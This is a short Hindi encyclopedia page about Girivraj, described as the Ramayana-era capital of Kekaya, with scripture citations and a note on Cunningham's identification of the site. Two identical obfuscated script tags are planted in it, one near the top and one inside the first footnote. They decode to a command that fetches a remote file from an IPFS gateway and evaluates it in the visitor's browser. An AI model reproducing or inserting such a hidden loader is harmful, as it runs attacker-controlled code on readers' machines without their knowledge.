गिरिव्रज (केकय की राजधानी)
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:44, 13 अगस्त 2014 का अवतरण
गिरिव्रज | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- गिरिव्रज (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गिरिव्रज रामायण काल में केकय देश की राजधानी थी। 'गिरिव्रज' का शाब्दिक अर्थ है- "पहाड़ियों का समूह"।[1]
- इसे राजगृह भी कहा जाता था-
‘उभयौ भरतशत्रुघ्नौ केकयेषु परंतपौ, पुरे राजगृहे रम्ये मातामहनिवेशने’[2]
‘गिरिव्रजं पुरवरं शीघ्रमासेदुरंजसा’[3]
- गिरिव्रज का अभिज्ञान जनरल कनिंघम ने झेलम नदी के तट पर बसे हुए 'गिरजाक' अथवा 'जलालपुर' नामक क़स्बा[4] से किया है। जलालपुर का प्रचीन नाम 'नगरहार' भी था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 288 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ वाल्मीकि रामायण, अयोध्या काण्ड 67, 7
- ↑ वाल्मीकि रामायण, अयोध्या काण्ड 68, 22।
- ↑ जो अब पश्चिमी पाकिस्तान में है